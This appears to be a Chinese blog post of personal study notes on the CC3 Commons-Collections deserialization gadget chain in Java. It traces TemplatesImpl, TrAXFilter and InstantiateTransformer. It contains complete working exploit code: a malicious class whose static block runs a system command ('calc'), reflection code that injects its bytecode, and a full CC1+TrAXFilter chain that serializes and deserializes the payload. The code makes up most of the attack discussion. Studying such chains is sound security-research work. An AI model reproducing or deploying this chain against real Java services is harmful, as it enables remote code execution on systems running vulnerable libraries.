CC3学习记录

🌸 CC3

之前学习到的cc1cc6都是通过Runtime进行命令执行的,如果Runtime被加入黑名单的话,整个链子也就失效了。而cc3则是通过动态类加载机制进行任意代码执行的。

🌸 版本限制

JDK版本:8u65

Commons-Collections版本:3.2.1

🌸 动态类加载机制

之前学习过动态类加载机制:ClassLoader中的loadClass方法负责加载,而loadClass中会通过调用defineClass方法从字节中加载一个类。

ClassLoader.loadClass()->ClassLoader.findClass()->ClassLoader.defineClass()

但是这个过程中只进行类加载,并不会进行初始化,所以我们应该找到初始化的地方。

🌸 CC链分析

通过defineClass方法,继续向上找谁调用了defineClass方法。

于是我们在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl类中的静态类TransletClassLoader中发现了defineClass方法,他是默认的类型,也就是default类型,只能是在他自己的类中使用。

继续Find Usage:

于是我们在defineTransletClasses方法中找到了调用的地方。更完整的代码如下:

private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}
}

接下来分析上面的代码:defineTransletClasses类是private属性修饰的,同时这个代码中有一个if (_bytecodes == null)条件,要想继续向下执行我们的目标代码:_class[i] = loader.defineClass(_bytecodes[i]);肯定是要将这个if条件满足的。

  1. if (_bytecodes == null)条件必须要满足:_bytecodes不为空,不然的话就抛异常了!
  2. return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());这个代码中,有一个_tfactory变量,必须要给他赋值,不然的话就会出现空指针异常了。

继续向上找谁调用了defineTransletClasses方法。

于是我们找到了三个地方!三个方法的具体代码如下:

private synchronized Class[] getTransletClasses() {try {if (_class == null) defineTransletClasses();}catch (TransformerConfigurationException e) {// Falls through}return _class;
}

在这个getTransletClasses方法中,同样也是private修饰的。

public synchronized int getTransletIndex() {try {if (_class == null) defineTransletClasses();}catch (TransformerConfigurationException e) {// Falls through}return _transletIndex;
}

getTransletIndex方法是public修饰的。

private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(_useServicesMechanism);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}
}

getTransletInstance方法虽然是private方法修饰的,但是我们找到代码中很重要的初始化过程:AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();这里将加载的class进行了实例化,也就是做了初始化的过程!因为我们就是要执行代码!就是要找到实例化的地方,然而这个方法刚好是满足的!对获取到的_class进行了初始化!这里还是出现了一个条件:if (_name == null) return null;_name变量肯定不能为空!不然return null

继续向上找谁调用了getTransletInstance方法!

于是找到了当前类下面的newTransformer方法中,调用了getTransletInstance方法!在这里我们就找到了一个公开的方法。于是开始尝试利用!

🍂 TemplatesImpl类分析和利用

这里发现该类的构造器是空的!

public TemplatesImpl() { }

同时我们还要满足上面所说的几个条件:

  1. _name不为空,不然的话return null

那就通过反射进行修改:(private属性修饰,所以需要设置可访问)

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
  1. _bytecodes不为空,不然的话就抛异常了!

这里发现_bytecodes变量是一个二维数组!他的具体的值应该是什么,我们跟进到方法里面去细看:

我们这里发现调用的就是loader.defineClass(_bytecodes[i]),继续跟进发现穿进去的其实是byte[] b是一个一维的数组!

那我们就把_bytecodes里面设置为一个一维数组,再包裹一下就好啦。

Field declaredField = templatesClass.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates,codes);
  1. _tfactory变量,必须要给他赋值,不然的话就会出现空指针异常。
private transient TransformerFactoryImpl _tfactory = null;

定位到_tfactory变量的定义地方,发现该变量不仅仅是private,而且还是transient,既然是transient修饰的,那么这个变量是不能序列化的!(在序列化的时候,该变量根本就不会传进去),同时这个变量的类型是TransformerFactoryImpl。直接实例化一个传进去!

//修改_tfactory变量
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

现在写一个Test类,用于加载,并执行代码:

import java.io.IOException;public class Test {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}
}

但是当我们执行代码的时候,发现报错了!是空指针异常的错误。

调试,尝试找到原因:

下断点在这里,进行调试:

经过不断的调试,发现在如下的代码中出现了空指针异常:

for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}
}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());
}

在上述代码中,_auxClasses为空,导致出现了空指针异常。这里有两种方法:

  1. superClass.getName().equals(ABSTRACT_TRANSLET)这个条件为true的话,那就不会进入下面的else,也就不会出现空指针异常啦!
  2. _auxClasses赋值,同样也是不会出现空指针异常!

但是当继续往下看代码的时候,发现其实第二种方式不可取,代码如下:

if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());
}

这个代码中通过判断变量_transletIndex是不是小于0,如果是的话,就会报错~ 然而在上面的调试过程图中发现,当执行else的时候,变量_transletIndex就是-1,那么下面的if条件也就满足啦!所以就会报错了。

所以我们只能采用第一种方式,尝试去满足superClass.getName().equals(ABSTRACT_TRANSLET),这样的话成功的进入第一个if条件里面,从而使得_transletIndex = i

跟进到常量ABSTRACT_TRANSLET,发现了他的结果:

private static String ABSTRACT_TRANSLET= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

所以我们写的Test类应该要继承上面的这个类!所以重写Test类:

import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet{static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

因为AbstractTranslet类是一个抽象的类,所以需要去实现它的方法。

这里再次编译Test.java。再次执行代码:

成功弹出计算器!

🍂 TrAXFilter类分析和利用

由于上面的代码是通过newTransformer方法执行的,所以我们这里尝试继续向上找调用点:

所以我们这里就找到了一个类TrAXFilter,源码如下:

刚好是在TrAXFilter类中的构造器中调用的!但是TrAXFilter类是没有继承Serializable接口,所以是不能够进行序列化的。

但是cc3的作者发现了一个专门可以通过反射类动态创建对象的类InstantiateTransformer,我们查看这个类的构造器等代码:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {super();iParamTypes = paramTypes;iArgs = args;
}

有参的构造器需要传入的是Class数组类型的参数类型,和Object数组类型的参数。然后关注到该类中的transform方法:

public Object transform(Object input) {try {if (input instanceof Class == false) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "+ (input == null ? "null object" : input.getClass().getName()));}Constructor con = ((Class) input).getConstructor(iParamTypes);return con.newInstance(iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException ex) {throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException ex) {throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException ex) {throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}
}

在这个代码中:通过反射获取class,然后((Class) input).getConstructor(iParamTypes);获取构造器,并将参数传递进去,然后返回一个Object

因为我们要通过TrAXFilter的构造器来创建TrAXFilter对象,所以iParamTypes就是构造器参数的类型,iArgs就是传进去的参数!而transform方法的Object input就是TrAXFilter.class,用于获取class

因此最终的TrAXFilter类的利用代码如下

package org.y4y17;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;public class cc3 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象instantiateTransformer.transform(TrAXFilter.class);}}
🍂 CC1+TrAXFilter利用

最终的利用代码:


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class cc3 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<String, Object> map = new HashMap<>();map.put("value","aaa");Map<String,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> anntationInvocationHandlerConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);anntationInvocationHandlerConstructor.setAccessible(true);Object o = anntationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
//        serialization(o);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.bin"));objectInputStream.readObject();objectInputStream.close();}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/59682.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

flutter字体大小切换案例 小字体,标准字体,大字体,超大字体案例

flutter字体大小切换案例 小字体&#xff0c;标准字体&#xff0c;大字体&#xff0c;超大字体案例 Android iOS设备带有选择记录 我的flutter项目版本 environment: sdk: ‘>3.4.4 <4.0.0’ 图片案例 pubspec.yaml 添加依赖 # 屏幕尺寸适配 https://github.com/OpenF…

设计模式(四)装饰器模式与命令模式

一、装饰器模式 1、意图 动态增加功能&#xff0c;相比于继承更加灵活 2、类图 Component(VisualComponent)&#xff1a;定义一个对象接口&#xff0c;可以给这些对象动态地添加职责。ConcreteComponent(TextView)&#xff1a;定义一个对象&#xff0c;可以给这个对象添加一…

django入门【05】模型介绍(二)——字段选项

文章目录 1、null 和 blank示例说明⭐ null 和 blank 结合使用的几种情况总结&#xff1a; 2、choices**choices 在 Django 中有以下几种形式&#xff1a;**&#xff08;1&#xff09; **简单的列表或元组形式**&#xff08;2&#xff09; **字典映射形式**&#xff08;3&#…

C++清除所有输出【DEV-C++】所有编辑器通用 | 算法基础NO.1

各位小伙伴们&#xff0c;上一期的保留小数位数教学够用一辈子&#xff0c;有不错的点赞量&#xff0c;可我连一个粉丝铁粉都没有&#xff0c;你愿意做我的第一个铁粉吗&#xff1f;OK废话不多说&#xff0c;开始&#xff01; 温故与知心 可能你也学过&#xff0c;且是工作者…

【提高篇】3.3 GPIO(三,工作模式详解 上)

目录 一,工作模式介绍 二,输入浮空 2.1 输入浮空简介 2.2 输入浮空特点 2.3 按键检测示例 2.4 高阻态 三,输入上拉 3.1 输入上拉简介 3.2 输入上拉的特点 3.3 按键检测示例 四,输入下拉 4.1 输入下拉简介 4.2 输入下拉特点 4.3 按键检测示例 一,工作模式介绍…

Thinkphp6视图介绍

一.MVC MVC 软件系统分为三个基本部分&#xff1a;模型&#xff08;Model&#xff09;、视图&#xff08;View&#xff09;和控制器&#xff08;Controller&#xff09; ThinkPHP6 是一个典型的 MVC 架构 控制器—控制器&#xff0c;用于将用户请求转发给相应的Model进行处理&a…

C++(Qt)软件调试---内存泄漏分析工具MTuner (25)

C(Qt)软件调试—内存泄漏分析工具MTuner &#xff08;25&#xff09; 文章目录 C(Qt)软件调试---内存泄漏分析工具MTuner &#xff08;25&#xff09;[toc]1、概述&#x1f41c;2、下载MTuner&#x1fab2;3、使用MTuner分析qt程序内存泄漏&#x1f9a7;4、相关地址&#x1f41…

QT_CONFIG宏使用

时常在Qt代码中看到QT_CONFIG宏&#xff0c;之前以为和#define、DEFINES 差不多&#xff0c;看了定义才发现不是那么回事&#xff0c;定义如下&#xff1a; 看注释就知道了QT_CONFIG宏&#xff0c;其实是&#xff1a;实现了一个在编译时期安全检查&#xff0c;检查指定的Qt特性…

Redis下载历史版本

Linux版本&#xff1a; https://download.redis.io/releases/ Windows版本&#xff1a; https://github.com/tporadowski/redis/releases Linux Redis对应gcc版本

8 软件项目管理

软件项目管理 1、软件项目管理概念1.1 软件项目管理内容1.2 软件项目管理的4P要素人员产品过程项目 2、软件项目度量2.1 软件项目度量定义及度量方法2.2 面对规模的度量2.3 面对功能的度量UFC相关的五类组件14个复杂性调节因素 F i F_i Fi​一个功能点开发代码行数 2.4 软件估算…

游戏引擎学习第12天

视频参考:https://www.bilibili.com/video/BV1yom9YnEWY 这节没讲什么东西&#xff0c;主要是改了一下音频的代码 后面有介绍一些alloc 和malloc,VirtualAlloc 的东西 _alloca 函数&#xff08;或 alloca&#xff09;分配的是栈内存&#xff0c;它的特点是&#xff1a; 生命周…

如何保证Redis与MySQL双写一致性

什么是双写一致性问题&#xff1f; 双写一致性主要指在一个数据同时存在于缓存&#xff08;如Redis&#xff09;和持久化存储&#xff08;如MySQL&#xff09;的情况下&#xff0c;任何一方的数据更新都必须确保另一方数据的同步更新&#xff0c;以保持双方数据的一致状态。这一…

STM32设计学生宿舍监测控制系统

目录 前言 一、本设计主要实现哪些很“开门”功能&#xff1f; 二、电路设计原理图 电路图采用Altium Designer进行设计&#xff1a; 三、实物设计图 四、程序源代码设计 五、获取资料内容 前言 随着科技的飞速发展和智能化时代的到来&#xff0c;学生宿舍的安全、舒适…

算法--解决二叉树遍历问题

第一 实现树的结构 class Node(): # 构造函数&#xff0c;初始化节点对象&#xff0c;包含数据和左右子节点 def __init__(self, dataNone): self.data data # 节点存储的数据 self.left None # 左子节点&#xff0c;默认为None self.rig…

【C#】C#编程入门指南:构建你的.NET开发基础

文章目录 前言&#xff1a;1. C# 开发环境 VS的基本熟悉2. 解决方案与项目的关系3. 编辑、编译、链接、运行4. 托管代码和CLR4.1 CLR&#xff1a;4.2 C# 代码第编译过程&#xff08;两次编译的&#xff09; 5. 命名空间6. 类的组成与分析7. C# 的数据类型7.1 值类型7.2 引用类型…

算法闭关修炼百题计划(八)

一半来自力扣的push题单 1.最大连续1的个数II2.长度为k的无重复字符子串3.句子的相似性4.移位字符串分组5.x的平方根6.Z字形变换 1.最大连续1的个数II 给定一个二进制数组nums&#xff0c;如果最多可以翻转一个0&#xff0c;则返回数组中连续1的最大个数 之前是Window&#x…

论文笔记(五十六)VIPose: Real-time Visual-Inertial 6D Object Pose Tracking

VIPose: Real-time Visual-Inertial 6D Object Pose Tracking 文章概括摘要I. INTRODACTIONII. 相关工作III. APPROACHA. 姿态跟踪工作流程B. VIPose网络 文章概括 引用&#xff1a; inproceedings{ge2021vipose,title{Vipose: Real-time visual-inertial 6d object pose tra…

K8S containerd拉取harbor镜像

前言 接前面的环境 K8S 1.24以后开始启用docker作为CRI&#xff0c;这里用containerd拉取 参考文档 正文 vim /etc/containerd/config.toml #修改内容如下 #sandbox_image "registry.aliyuncs.com/google_containers/pause:3.10" systemd_cgroup true [plugins.…

LM2 : A Simple Society of Language Models Solves Complex Reasoning

文章目录 题目摘要简介相关工作方法论实验结果结论局限性 题目 LM2&#xff1a;简单的语言模型社会解决复杂推理问题 论文地址&#xff1a;https://aclanthology.org/2024.emnlp-main.920/ 项目地址&#xff1a; https://github.com/LCS2-IIITD/Language_Model_Multiplex 摘要…

STM32从上电开始启动过程详解(上电->分散加载->main函数)

1.硬件复位之后&#xff0c;CPU 内的时序逻辑电路首先完成如下两个工作&#xff08; 程序代码下载到内部 flash 为例&#xff0c;flash首地址 0x0800 0000&#xff09;  将 0x08000000 位置存放的堆栈栈顶地址存放到 SP 中(MSP)。  将 0x08000004 位置存放的向量地址装入 P…